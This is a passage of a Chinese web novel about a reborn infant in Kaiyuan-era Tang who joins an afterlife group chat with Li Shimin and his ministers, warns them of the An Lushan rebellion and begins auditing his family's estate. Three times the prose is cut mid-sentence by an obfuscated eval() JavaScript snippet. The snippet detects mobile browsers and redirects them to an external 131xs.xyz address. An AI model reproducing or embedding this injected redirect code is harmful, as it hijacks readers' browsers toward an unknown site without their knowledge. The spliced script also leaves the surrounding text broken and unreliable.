【孤篇封神张若虚】:春江潮水连海平……孩儿你生于这般盛世,当见我所见之美景,福气! 【宁作太平犬】:哼!区区李隆基,小儿辈尔……不过,他干的确实不错,这开元……还算像个样子。 【太原公子(群主)发了一条语音】:小奴儿!生在大唐!哈哈哈,未来也要济世安民,做个顶天立地的大唐好儿郎! …… 群内欢欣鼓舞,充满了对盛世的赞美和对李暮这个盛世娃娃的祝福。仿佛李暮的诞生,本身就是大唐繁荣昌盛的最佳证明。 李暮的小嘴张了又张,看着光幕上那些热情洋溢的文字,听着那些对开元盛世不遗余力的赞美,一股难以言喻的酸楚和荒谬感涌上心头。原来鬼们是这样想的。 乳母张氏恰好端来温水,小心地用银匙喂了他几口。温热的液体滑过喉咙,乳母走后,李暮在心中,长叹一声, 我要不要告诉他们,成也李隆基,败也李隆基。他们引以为豪的这座盛世大厦,再过二十多年就要崩塌了。安史之乱一来,两京陷落,生灵涂炭,大唐国力急转直下,从此藩镇割据,宦官专权,内忧外患不断,再也无法恢复昔日的荣光?甚至可以说,这场动乱打断了华夏文明的脊梁,此后华夏的性格逐渐趋于内敛保守,再难有盛唐这般海纳百川、自信开放的胸襟。 唉,什么圣君啊?! 李暮晃了晃小脑袋,最终还是决定暂且压下这个惊天秘密,众人皆醉我独醒啊! 不行,现在说这些为时过早,他们未必会信,说不定还会把我当成妖孽。当务之急,是设法长大,获得力量。 他重新将希望寄托在向群友求助“速成丹药”上。 然而,当他再次抬起头,准备组织语言时,却发现整个群聊界面,已经被刷屏的、完全相同的消息淹没了—— 【太原公子】:朕的大唐亡了!百姓流离!? 【太原公子】:朕的大唐亡了!百姓流离!? 【太原公子】:百姓流离!?胡人也敢侮我大唐?! 【太原公子】:什么叫安史之乱!安史之乱是什么!? 消息一条接着一条,速度快得惊人,透露出发言者极度的震惊、难以置信和滔天的愤怒。最初的几条还带着问号和惊疑,到后面已经变成了愤怒的咆哮和否定。 【太原公子】:不可能!绝无可能! 【太原公子】:我大唐百姓!嗷——! 不仅仅是李世民,整个群都陷入了癫狂状态。 【房谋】:怎会如此?!府兵制①虽有小恙,何至倾覆?! 【杜断】:荒谬! 【人镜魏征】:陛下!陛下冷静!此事定有蹊跷! 【李药师】:何方胡虏,竟有如此能量?边关镇将是何人,如此羸弱?! 【程魔王】:气煞俺也!是哪个兔崽子敢祸害大唐!俺老程劈了他! 【宁作太平犬】:妈的,就知道那个李隆基,杂种东西! …… 满屏的“不可能”、“我不信”、“我不听”! 群情激愤,几乎要将群聊的空间都撑破。 李暮彻底懵了。他明明什么都没说啊! 他赶紧翻看聊天记录,一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484877|185692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉到最上面。终于,在视频通话断开后不久,一条灰色的系统提示引起了他的注意: 【系统提示:检测到新成员李暮年龄过小,为保障其身心健康及信息准确传达,系统自动开启24小时婴幼儿监护模式及思维共鸣辅助功能。在该模式下,成员强烈且持续的思想波动,有可能被转化为语音信息在群内短暂播放。】 李暮:“!!!” 原来是因为他未成年,所以系统开了“福利”(或者说坑爹)模式! 他刚才那段关于大唐灭亡的沉重思绪,竟然被系统自动捕捉,当成语音发出去了! 我不会因为剧透未来,被这群愤怒的老祖宗踢出群聊吧?” 李暮的小心脏提到了嗓子眼,第一次感受到了信息超前的可怕后果。 嘤嘤嘤,丹药还没到手呢? 然而,预想中的“踢人”并没有发生。因为就在这混乱到极点的时刻,一个不和谐的声音插了进来。 【宁作太平犬邀请日月临空加入群聊。】 【日月临空】已加入群聊。 整个群聊,瞬间安静了一刹那。 这个ID,自带一种冷场感。 【日月临空】:大唐亡了?亡在李三郎手上?何时的事?因何而亡? 这简短的问句,如同冰水泼入沸油。 短暂的寂静后,是更猛烈的爆发。 【咏鹅少年骆宾王】:呵,此事与您开创的大武周朝有何干系?呵呵。 【日月临空】:呵,骆宾王,许久不见,你还是这般牙尖嘴利。朕问你,大唐因何而亡? 【人镜魏征】:武瞾!此事尚未弄清,休要妄下断言!陛下开创之基业,岂容轻侮! 【救时宰相姚崇】:开元盛世乃我圣人励精图治之功,您轻言! 【日月临空】:呵,他李三郎出息! …… 【太原公子(群主)】:都闭嘴!……孩儿,你来说!告诉朕,告诉诸位臣工,我大唐……怎会亡?!到底发生了何事?!! 所有的争论戛然而止。 光幕上,无论是愤怒的李世民、冷静的武则天、焦急的房杜、耿直的魏征,还是其他所有名臣武将、才子高僧,都将目光死死地锁定在了李暮那个小小的ID上。 李暮想趴着,消化快。这样躺着他也能护住他的肚子,不至于把脸对上。 他做出龟爬状,继续装成小孩。 阿巴阿巴阿巴阿巴。 人家不知道呀! 嘿嘿嘿,人家一点点大哦~ 但群中依旧虎视眈眈。 他老祖宗李世民连发八条孩儿。 李暮知道,躲不过去了。 最后他深吸一口气,戳了那个语音通话按钮。 蒜鸟蒜鸟,他们想要他说的。 然后李暮一顿讲唐史。 从开元晚期的怠政,到天宝年间的奢靡,从李林甫的口蜜腹剑④,到杨国忠的专权误国,从府兵制的瓦解,到藩镇节度使的坐大⑤,他还划了重点,描述了安禄山、史思明的叛乱,两京陷落的惨状,马嵬坡的兵变,以及其后长达八年的战乱给大唐和社会造成的毁灭性打击…… 大学学的盛世大唐选修课,一点没浪费。 他的声音稚嫩,甚至因为气息不足而断断续续,但所述的内容却如同最冰冷刺骨的寒风,吹散了所有关于盛世的幻想,将血淋淋的未来剖开在每一位贞观、武周、开元时代的开创者与见证者面前。 光幕另一端,死一般的寂静。 只能听到李暮的叙述声。 不知过了多久,当李暮终于说到“虽最终平定,然大唐元气大伤,自此由盛转衰,再无复兴之日”时,一声压抑不住的、痛彻心扉的低吼打破了寂静: “噗——” 有人跌倒了? 紧接着,是房玄龄惊慌失措的呼喊:“陛下!陛下!您怎么了?!” 杜如晦的声音也变了调:“快!扶住陛下!陛下晕过去了!” “亡我家者,李三郎也!” 4. AAA帝王速成班 李暮叹气气,因为他这段时间唯一的乐子大唐群聊,整个“贞观群”乃至关联的“开元群”,在经历了一场关于国运的惊天动地的大悲恸后,陷入了死一般的沉寂。 一连数日,光幕上都罕见动静,仿佛那些曾经激昂慷慨的英灵们,都被那“大唐将亡”的预言抽干了所有精气神。 李暮通过光幕旁敲侧击地听到些零碎消息:他老祖宗李世民据说急火攻心,被孙思邈连着灌了好几碗降火汤药,才勉强缓过劲儿来;那位以务实干练著称的救时宰相姚崇①,更是悲愤之下差点去跳了忘川河,幸好被眼疾手快的玄奘大师给捞了上来。 直到今日,群里才重新有了999+的消息提示,点开一看,尽是些骂咧咧的诗文,抒发着愤懑与不甘。只是,那个平日里最为活跃、ID为【太原公子】的老祖宗,却始终沉默着。 老祖宗不在群里的第五天,想他想他。 “唉……”李暮被乳母抱着在廊下晒太阳,看着庭院中尚且繁盛的花木,内心却叹了口气。 这群历史上叱咤风云的人物,心理承受能力超猛,现在又闹腾了,真有劲儿,总比他这一潭死水强。 他小小的手指无意识地在空中划拉着,最终,还是带着几分试探和心虚,点开了那个标注为【太原公子】的头像,发送了一条好友申请。 祖宗是大好人,几乎是秒过。 【昕光奴】:祖宗安好。小子李暮,小字昕光奴。 【太原公子】:朕知道呀,昕光奴,真是个好听的乳名,乖孩子,找朕有什么事呀?[凤凰摸头.jpg] 李暮没想到祖宗这么快回复,而且语气十分亲热,亲热到不正常。李暮略感意外,但转念一想史书中对其爱才、待人接物往往推心置腹的记载,以及平日里在群中热情洋溢的表现,便也觉释然,或许这位老祖宗本性便是如此。 【昕光奴】:那个……小子冒昧,祖宗您那边……有那种能让人速速长大的灵丹妙药吗?(猫猫作揖.jpg) 他现在最迫切需要的,是一副能自主行动的成年人的身体,而不是这个连路都走不稳的婴孩躯壳。 消息刚发出去,对面的李世民眯起了眼睛。 【太原公子】立刻发来视频邀请。 李暮深吸一口气,立马接通。 光幕上,再次出现了李世民的身影。 与几日前那悲痛欲绝、甚至晕厥过去的形象不同,此刻的他,虽然眉宇间仍残留着一丝沉重,但那张脸已恢复了惯有的健气飞扬,剑眉星目,顾盼间自有勃勃英气,仿佛炽热天光洒落人间,不愧是史书盛赞的“天日之姿”。 李世民没有太多威压,反而笑起来十分有感染力,看到祖宗状态好转,李暮心下稍安,又见到祖宗在笑,他也努力回以一个灿烂笑容。 然后,他就听到他家祖宗用一种带着神秘兴奋感的、压低的声音说道:“昕光奴,你有没有想过……取而代之?” 李世民的眼睛亮晶晶的,里面像是盛满了碎星,闪烁着一种李暮极为熟悉的光芒——那是属于野心家、属于开拓者的光芒。 昕光奴,朕看好你! 昨夜,李世民从巨大的打击中稍稍恢复后,便连夜用特殊渠道请教了地府行政区划意义上的的隔壁最靠谱的秦始皇嬴政。 始皇帝陛下听完,十分靠谱的分析道:“此子情况特殊,或是系统识别其身负宿慧,又或其本身便是天道予你李唐的一线生机,于危亡之际显现。当然,亦可能是……一锅坏了的菜,早早就馊了,上天要收了他。 李暮能进来这个群并非纯粹的意外或系统故障。他要么是你李唐的力挽狂澜之人,要么是老鼠屎,你自己看看办吧。 李世民自动忽略了老鼠屎这个选项,认为李暮,这个身处开元末年、知晓未来惨剧的幼童,就是李唐江山那唯一的一线生机! 既然拨乱反正的人选已经到位,李世民连夜拉上房玄龄、杜如晦等核心心腹,拉了小群,又动用自己明君权限,悄悄修改了部分群规和任务导向,正式准备把李暮养成帝王预备役,接李隆基的班。 而现在,他正准备把李暮接过去,没想到孩子主动过来找他。 真是知情知性,天生的好苗子! 而这头,只想要丹药的李暮听到“取而代之”四个字,先是一愣,随即那双琥珀色的眸子也“唰”地一下亮了,如同点燃了两簇小火苗! 不愧是二凤祖宗!思维就是跳跃,就是彪悍! “我想!祖宗,你真懂我!” 李暮用力地点头,小脸上满是找到知己的兴奋。他早就把他爹玄武门了。 李暮想的“取而代之”,目前还仅限于取代他那个不靠谱的爹,成为郡王府的实际主人,好整顿家业,积攒实力跑路润。 但这话听在李世民耳中,含义就截然不同了。 李世民大喜过望,笑得更灿烂了:“好小子!有志气!你放心,朕这就给你安排上!” 李暮美滋滋地以为马上就能拿到长大丸,眼睛闪成星星:“好呀好呀,谢谢祖宗!” 一场典型的鸡同鸭讲就此达成共识。 下一刻,李暮就被李世民直接拉入了一个新群—— 【AAA帝王速成班(学习群)】 李暮以为卖丹药的,下意识打开群成员列表,群成员列表看得李暮眼花缭乱:李世民,房玄龄,杜如晦,魏征,李靖,秦琼、尉迟恭…… 贞观全明星阵容。 祖宗们,在地下还兼职卖药啊!这么多人都卖啊!这地下日子不好过呀! 他正欲问丹药事情,那头信息喷了出来。 【AAA帝王速成班(学习群)】 群主李世民发来一条@全体成员的消息。 【太原公子】:诸卿静听!昕光奴既入此群,便是吾等共同的学生,亦是挽救我大唐江山的关键所在!朕已连夜与房、杜、魏等几位爱卿商议,拟定了一份《帝王必修基础课业纲要》(试行版),旨在为昕光奴打下坚实根基!诸卿皆乃一代人杰,各有专精,望尔等倾囊相授!” 紧接着,一个名为《帝王必修基础课业纲要(试行版)-昕光奴专用》的群文件被上传,李暮下意识点开,光幕上立刻展开一份结构清晰的表格,涵盖了从帝王心术、治国方略到经济民生、军事韬略、律法吏治乃至文化教化的方方面面。 老鼻子长了…… 李暮还没看完,众人已经按捺不住,纷纷@李暮。 【群主】【太原公子】:@李暮昕光奴,你且看此表。为君之道,包罗万象,非一蹴而就。然万丈高楼平地起,朕与你诸位先生,便从这最基础的教起!今日,便由朕为你上这第一课——《帝王之志》! 【人镜魏征】:@李暮郎君,立志需正!若为满足一己私欲,则与暴隋何异?殿下当立志如尧舜,以天下为公!老臣这里有一份《历代明君昏君言行对照录》,郎君需每日诵读,以史为鉴!(附件:《明君昏君对照录.pdf》) 【房谋】房谋:@李暮郎君可有想好立下什么样的志向,要不要老臣帮郎君?[狐狸摸头.jpg] …… 李暮:……,妈妈,他们骗我!他们不卖丹药!他们讲情怀! 李暮觉得所有人扑面而来的全是孩子,你快立个当皇帝的志向吧。 可是,他都快要破产了,三岁的幼子立下再高的志向,长不大一样白搭。况且,他为什么一定要当皇帝? 所以… 【昕光奴】:不学!无志!我家将亡,可有长大的丹丸,我只欲重振家声。 众人:哇!会拒绝的小孩,更爱了。 群内的众臣并没有被李暮吓到,甚至更觉喜欢。 说实话都一两百岁的老鬼,除了李唐亡了以外,其他的他们真的习以为常。加上李世民一夜的“战略动员”,此刻都统一了思想:此子既是天赐良机,无论如何也要试一试! 所以李暮一出现,表现的再聪明,他们都不害怕,甚至越来越快活,李唐的天命之子就是聪明好啊,不聪明怎么是天命之人,怎么夺位,怎么执掌天下? 无志就是心中有更大的大志向! 重振家声,是孩子不上理论,孩子直接实践! 三岁夺家产,十三岁他可夺江山! 好崽! 于是众大佬纷纷在群里表态: 【太原公子】:好!昕光奴,咱们就先夺你的郡王府! 【房谋】:小郎君志存高远,虽年幼,已见锋芒,臣等定当竭力辅佐。 【杜断】:可。从家事练手,正合宜。 【人镜魏征】:殿下既有此心,可有策法? …… 李暮听他们愿意帮助,便把自己之策一五一十说了下去。 【昕光奴】:欲借机出府,亲眼观察各产业状况;再设法查核账目,揪出为首蠹虫;最后依靠母亲信任之人,逐步约束父亲用度,开源节流。 众臣:好!大有可为! 于是,一场针对河东郡王府产业的远程诊断会议,在地府“AAA帝王速成班”里热火朝天地展开了。房玄龄教李暮产业结构和人事关系,杜如晦提出风险点和突破口,连魏征都开始引经据典,论述“齐家”与“治国”的关系…… 李暮听着光幕里传来的各种或激进或稳妥的建议,什么“查账立威”、“更换管事”、“引外力介入”,甚至有人提议“制造事端让你的兄弟暂时失权”……听得他心惊肉跳。 “不不不,祖宗,各位先生,不用这么凶残!”李暮发声,“我爹就我一个儿子,倒也不用给兄弟们都来一下……” 李世民那边沉默了一下,但很快又调整过来:“无妨!知己知彼,百战不殆!调查情况也是帝王基本功!昕光奴,刚才房先生和杜先生说的调查要点,听懂没?” 李暮点头,谢谢各位先生。 【成功完成上课任务,任务奖励:明君积分+100,大力buff(临时,增强体魄便于行动)一枚。】 【系统任务①发布:您的监护人武氏身体不适,请借此机会,陪同其外出散心,并实地考察家中位于西市的产业至少三家。任务目标:发现问题,评估经营状况。任务难度:三颗星。】 光幕上出现了一个金光闪闪的转盘虚影,啪嗒一声脆响,指针落在了“考察产业”上。同时,李暮感觉一股暖流涌入四肢百骸,原本软绵绵的小身子似乎瞬间充满了力气,连眼神都清亮了几分。 “嘿!”李暮下意识地挥了挥小拳头,感觉现在能自己打十个。 “大力”buff加持下,他顿时雄赳赳气昂昂,就要找他阿母。 这几日,王妃武氏确实因连日操劳府中琐事,又要应对李瑾时不时的闹腾,精神越发不济,脸色苍白,时常恹恹地倚在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484878|185692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榻上。太医来看过,诊脉后说是“思虑过度,肝郁气滞”,建议“宽心悦志,适当散心,莫要总困于府中”。 李暮立刻抓住时机。这日午后,他依偎在武氏身边,用刚学会不久、还带着奶香气的话语,软软地哀求:“阿娘,整日在府里闷闷的,昕光奴陪您出去走走好不好?就去西市看看热闹,听说有胡人卖好看的宝石呢,给阿娘打新簪子。”他记得乳母闲聊时提过,武氏年轻时也曾喜爱这些璀璨之物。 武氏本无心情,但低头看到儿子那双充满期盼的漂亮眸子,又想到太医的嘱咐,心下一软,想着或许散散心真能好些,便轻轻点了点头:“也罢,就依我儿。” 为了不引人注目,又怕被人瞧着失了体面,她只带了最贴身的两个婢女和一名沉稳的老苍头作为护卫,乘坐一辆府中最不甚起眼的青毡小车,悄无声息地从侧门出了王府。 马车辘辘,驶入繁华的西市。时值午后,西市内人流如织,摩肩接踵,各族商贾的叫卖声、顾客的议价声、驼铃马嘶声混杂在一起,充满了世俗的活力与喧嚣。空气中弥漫着香料、皮革、熟食和各种未知货物的复杂气味。 李暮立刻表现出孩童应有的好奇,趴在车窗边,小手指着窗外,忽然嚷嚷起来:“阿娘阿娘,快看!那家绸缎庄的门脸好气派!挂的匾额真大!我们进去看看,给阿娘做件新衣裳吧!” 他指着的,正是武氏陪嫁产业之一,锦绣轩的招牌。 他在武氏屋中是听过锦绣轩的管事叫苦的。 武氏顺着儿子手指的方向望去,看到那熟悉的招牌,眼神不由得一黯。这铺子曾是她的骄傲,如今却因经营不善和管事中饱私囊,成了她最大的心病之一。她本想拒绝,但李暮已经转过身,拉着她的衣袖,眼巴巴地望着,小脸上写满了“想去看看嘛”。 武氏叹了口气,心想儿子只是孩童心性,好奇铺子里的热闹和鲜艳绸缎,看看也无妨,便让车夫在附近停下,戴好遮蔽面容的帷帽,抱着李暮下了车。 一踏入“锦绣轩”,李暮立刻像个真正不谙世事的贵戚小童,挣脱母亲的怀抱,蹬蹬蹬跑到货架前,这边摸摸光滑如水的蜀锦,那边碰碰色彩鲜艳的吴绫,嘴里还发出“哇哇”的惊叹声,引得店内几个闲站的伙计侧目。 武氏看着他天真烂漫的样子,脸上也难得露出一丝虚弱的笑意,小心地跟在他身后,防止他碰坏贵重织物,同时也下意识地拉了拉帷帽,不愿被可能认识她的管事撞见。 或许是因为武氏戴着帷帽、气色不佳,衣着也朴素,加之管事此刻并不在前堂,店里的伙计们并未认出她们的身份。他们对这对看似普通的母子态度有些懒散,爱答不理,反而对几个穿着体面、像是熟客或富商模样的人异常热情。 李暮一边装作玩闹,一边将店内情形尽收眼底:货架上的绸缎虽然花色繁多,但不少显然是积压的旧货,色泽暗淡,甚至有些边角出现了轻微的霉点。账台后的伙计打着哈欠,算盘上落着灰。而当一个伙计点头哈腰地送走一位看似大主顾的客人,并低声说着“李管事吩咐了,您要的那批最新湖绉,一定给您留着,价钱好说”时,李暮的小耳朵敏锐地捕捉到了关键信息——“李管事”、“留好货”、“价钱好说”。 他心里冷笑一声,面上却不动声色,又玩闹了一会儿,便跑回武氏身边,拉着她的手往外走:“阿娘,这里不好玩,我们去别处看看吧!” 武氏本就精神不济,见儿子没了兴趣,便带着他离开了锦绣轩。 接下来,李暮如法炮制,凭着“大力”buff带来的超强精力,又拉着武氏“偶然”逛了自家在西市的两处产业——一家生意冷清的酒肆和一家货品杂乱、伙计惫懒的杂货铺。他同样用孩童的方式观察,发现了类似的问题:管理松懈,货品滞销,伙计对待普通顾客和“关系户”态度迥异。 一圈逛下来,虽只是走马观花,但李暮心中已对自家产业的窘境了然于胸。武氏则更是疲惫,心情也因亲眼所见产业的萧条而愈发低落。 回到王府,将疲惫不堪的母亲安顿歇下后,李暮立刻将自己关在内室,将今日所见所闻,条理清晰地向“AAA帝王速成班”的师长们做了汇报。“……综而言之,人浮于事,货品陈旧,客户歧视,积弊已深。当务之急,需彻查账目,摸清底细,方能对症下药。” 说完之后,就亮晶晶的看着所有人。 “那个祖宗们,可以再大力一下吗?” 有劲儿的感觉太好了,昕光奴有多少要多少!!! 群内都在笑,随后,评价接踵而至: 【房谋】:观察细致,能于细微处见问题,善。 【杜断】:问题已显,还思对策。可。 【人镜魏征】:郎君年幼,便知体察民情,心系家业,甚好! 【太原公子】:干得漂亮!昕光奴果然有天分!奖励就给大力!昕光奴继续加油! 李暮眼睛几乎弯成月牙,在床上滚来滚去,“祖宗,祖宗,昕光奴爱你!” 【叮!系统提示:任务①完成度评估:优秀。奖励发放:明君积分+100,大力buff三次。请小宝贝再接再厉!】 看着积分到账的提示,李暮当即从榻上出溜下来,稳稳站在地上,用力踩了踩脚,感受着身体里那股新生的、持续存在的力量。 “好啦!有劲儿了!”他握紧小拳头,“我要干大事去了!” 5. 魔童降世 开启了“大力”buff的李暮,感觉自己浑身充满了使不完的牛劲儿,不再是那个需要时时被人抱在怀里的瓷娃娃。他在心里哞哞叫了两声,冲向郡王府名义上处理公务的外书房。那里虽被父亲李瑾常年闲置,积灰蒙尘,却是存放府中所有仆役名册、田庄地契、店铺文书以及更详尽账目的关键所在。 “郑翁翁,我要去外书房。”李暮对身后亦步亦趋的老仆,也是母亲武氏最信任的陪嫁之一——郑阿公,扬起小脸笑道。 郑阿公脸上闪过一丝为难,下意识地想劝阻:“小郎君,外书房灰尘大,又多是文书卷宗,怕是没什么好玩的,不如……” 李暮停下脚步,抬眼看郑阿公时眼神居然有些冷,瞳子里沉着碎金,原来温和的面容现下眉目生寒。 他不说话,只是看着。 大猫在盯你。 郑阿公活了大半辈子,在岐王府、河东郡王府伺候了十几年,见过贵人无数,却从未在一个三岁孩童身上感受过如此令人心悸的气场。这通身的气派,竟比记忆里鼎盛时期的岐王李范更让人不敢直视。 他剩下的话卡在喉咙里,最终只化为一句恭敬的:“是,老仆遵命。” 随即躬身领着李暮去了位于前院的外书房。 书房果然如李暮预料般冷清。推开略显沉重的木门,一股陈年墨卷混合着尘埃的气息扑面而来。书架高大,其上卷宗堆放得有些凌乱,书案上也蒙着一层薄灰,可见其主人是何等疏于打理。 李暮让人点燃了灯烛,就着郑阿公的怀抱,目光如电,迅速扫过书架上一排排的标签。 然而下一刻,他愣住了——那些工整的唐文标签,在他眼中如同天书。 他忘了他还是个小文盲! 穿越至今,他光顾着适应身体、收集信息,却忘了最基础的一环——识字! 一股尴尬涌上心头,但旋即被他压下。 不怕!区区文盲!他可以请外挂! 李暮定了定神,小手指向几个看起来最重要的卷宗位置:“把《府中仆役名册》、《各处庄园录》、《京师店铺契簿》,还有近五年的所有出入账册,全部搬过来,送到我房里去。” 他发话了,仆役们不敢怠慢,连忙照办。 趁着搬运的间隙,李暮悄悄点开光幕,想找群里的人说一下这个帮忙的事,那头主屋里快打的只剩人体零件了。 “你这妇人!竟敢擅自做主!可知那胡姬是本王花了多少金帛才得来!”李瑾面红耳赤,一身酒气,声音咆哮。 武氏气得浑身发抖,声音带着哭腔:“郡王!府中账目早已捉襟见肘,妾身日夜为开支发愁,你还要买这些无用之人!那些铺子庄子……” “闭嘴!我是岐王之子!享用些乐舞怎么了?”李瑾怒极,拂袖几乎要将武氏推倒。 “我是惠妃之侄!宫中娘娘还未去!我家还未失势!”武氏也被激起了性子,竟上前扯住了李瑾的头发。 李瑾冷笑:“武惠妃?哼,她又能奈我何!” 如今的武氏一族,虽早非则天皇后在位时的煊赫,但武惠妃尚在宫中得宠,武氏怎能容忍李瑾如此欺辱? 一个不服就是干! 两人打的只剩人体零件了。 没法子,一个丫鬟哭着跑来向李暮禀报正房的冲突,企图把小主子抱去平息一下战火。 那边李暮支着耳朵一听,心头火起,仗着大力buff在身,二话不说,直接从外书房墙上取下一把装饰用的、比他个子还高的短刀,拖着就往正房跑。 吵!吵!吵! 李瑾他就不能消停会儿! 胡姬救过他的命是吧! 要不是现在小,老子就把他打废了!反正后半辈子,他给李瑾包了! 所有人都被这小郎君突如其来的举动惊呆了。 李暮没搭理,直接仗着有牛劲儿,一股脑儿冲到正房门口,刀光雪亮,对着一个吓得瑟瑟发抖、不敢作声的侍女命令道:“去,把门打开。” 侍女跪倒在地,声音发颤:“小郎君,郡王和王妃在……在议事,奴婢不敢……” 李接直接将手中沉重的短刀“哐当”一声扔在那位看好戏的清客面前,把人吓跪下了。 他平日总是一副明媚开朗的乖巧模样,这是第一次在众仆从面前显露出如此骇人的怒意。 李暮凉凉一笑,眼瞳里仿佛刹那间刀剑清光乍起,他向前半步,将自己的手放在那人的肩上,冷冷道,“好看吗?” 他刚会说话,一个稚子,却让那人下意识摇头。哪怕李暮不足他腿高,他也不敢动。 不光是因为李暮的身份,更是因为李暮又一次拿起了刀。 但李暮并没有捅他,只扛起刀,走回门前,随后喊道,“开门!我的话都不听!要你们何用!” 他凭着自已的气势与那柄寒光闪闪的短刀,瞬间震慑住了所有人。 一名较为年长的仆妇犹豫了一下,终究不敢违逆,上前颤抖着推开了房门。 屋内的争吵声戛然而止。 因为他们年仅三岁的儿子,迈着小短腿,艰难地跨过高高的门槛,一步步走了进来,手中还提着一把小短刀。 李瑾和武氏都愣住了,武氏脸上泪痕未干,发髻凌乱,见到儿子,慌忙用袖子擦拭,强挤出一丝比哭还难看的笑容,甚至下意识地伸手揽住李瑾的臂膀,做出亲昵状:“昕光奴来了,耶娘……耶娘在说话呢!” 一脸血痕的李瑾也有些不自然地清了清嗓子:“嗯,我与你阿娘商议事情。” 他俩哪怕吵的在凶,但在李暮面前总会装得好好的。 昕光奴,昕光奴,小太阳。他们的孩子如日之升。 他们彼此折腾,但是李暮确实一直是独子的待遇。不然今日也不会有人请他。 李暮没理会父母这拙劣的掩饰。他转而对自己母亲的陪嫁嬷嬷,那位姓武的忠实老仆吩咐道:“武嬷嬷,请扶阿耶去书房醒醒酒,休息片刻。” 李瑾下意识地想反驳,但一低头,对上幼子那双清澈的琥珀色眼睛,幼子在看着他,他没来由地心里一虚。 儿子那看逆子的神情,竟恍惚间让他想起了自己早逝的、颇具威仪的父亲岐王李范。到嘴边的呵斥咽了回去,最后只能悻悻地哼了一声,被武嬷嬷和另一个仆人半扶半请地带走了,连那胡姬的事也不再提。 待李瑾被带走,李暮迈步走到母亲身边,伸出小手,轻轻拍了拍武氏因激动而微微颤抖的手背:“阿娘,没事了。” 他脸上浮起盈盈的笑意,紧紧将母亲抱住,仰头看着她的眼睛,琥珀色的瞳仁里满是认真,“我护着你,不哭了。” 他顿了顿,声音放得更软,轻轻道:“阿娘,我需要阿娘帮我。” 他蹭了蹭武氏的脖颈。 母子的血脉如一,在跳动着。 武氏的眼泪瞬间决堤。 她不过二十多岁的年纪,接连失去孩子的打击,丈夫的不争气,家计的艰难,早已压得她喘不过气。 但此刻,看着怀中这个仿佛一夜之间长大了的儿子,她心中涌起一股前所未有的力量与依赖。 “好!”她不问什么缘由,流着泪,重重地点了点头,“好……阿娘都听昕光奴的。” 这是一种近乎本能的、毫无保留的信任。她有的,她都能给她的孩子 李暮主动贴近,用额头抵着母亲的额头:“那阿娘,帮我一次,将你手上能用的人,交给我。” 武氏摸着他的脸,像他小时候时一样反手搂着他。 “好!” 武氏在王府经营多年,又有陪嫁底蕴,自然有一部分忠于她的人手。 但她没有任何犹豫,当即将自己的陪嫁仆人名单,以及府中少数几个她确信忠诚的护卫名单交给了李暮,并立刻下令,将堆积如山的府库和各处产业的账本,连同从外书房取来的,一并搬到了李暮居住的院落。 无论昕光奴做什么!阿娘!信你!助你! 很快,李暮的房间几乎被账册淹没。他坐在特制的高脚椅上,面前摊开厚厚的、用麻线装订的账册。纸张粗糙,墨迹是工整的楷书,记录着田庄的出产、铺面的收支、府中的各项用度,密密麻麻,如同天书。 他叹了口气,并没有立刻试图去看——因为他确实不识字。但他有别的办法。 他再次点开光屏,将摄像头对准了账册。群里的众人原先还不明白为何李暮如此笃定能借助到武氏的力量,此刻见到他们母子间深厚的情谊与无条件的信任,也都了然。 他们母子从来都是天生的同盟。李暮是武氏的倚仗,武氏是李暮的保护伞。 李暮对着光屏发问:“各位先生,小子惭愧,尚未识字。群中可有精通算学、善于查账的前辈,能助小子一臂之力?” 一直关注着他的房玄龄笑盈盈地捋了捋胡须,没有说话,而是直接动手操作。 【叮![房谋]将[义仓创始人戴胄]与[税收核算官崔仁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484879|185692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师]拉进群聊。】 【房谋】:@戴胄@崔仁师二位,小郎君有疑难,关乎家业整顿,我等且去帮帮忙。 李暮对这两位不太熟悉,他并未系统学习过唐史。但二人介绍完自己的官职,一个是贞观朝的户部尚书,一个是贞观朝的度支郎中,李暮顿时化成小青蛙,哇呜哇呜。 简而言之,这二位一位是国家财政大管家,一位是顶级税务稽查官! 真正的专业大佬下场了! 对于这两位经世之才而言,郡王府这点家当,简直如同小儿嬉戏。他们甚至觉得这是个手把手教导未来君王实践的好机会。反正陛下说了,这个是大唐的天命之子!而且聪明的很!教就好了,众人眼皮子底下出不了事。① 于是,三人时不时库库就是一顿输出,完全不考虑李暮能不能承受。 好在李暮行,对前世清查过对手公司复杂税务问题的李暮来说,这些古代的记账手法,只要有人帮他读懂文字和记账规则,剩下的计算与分析,正是他最擅长的领域! 他甚至能反过来,用简洁的阿拉伯数字和高效的心算方法,让两位古代财税大家眼前一亮。 一回到自己熟悉且擅长的领域,李暮顿时如鱼得水,锐气与自信回来了。 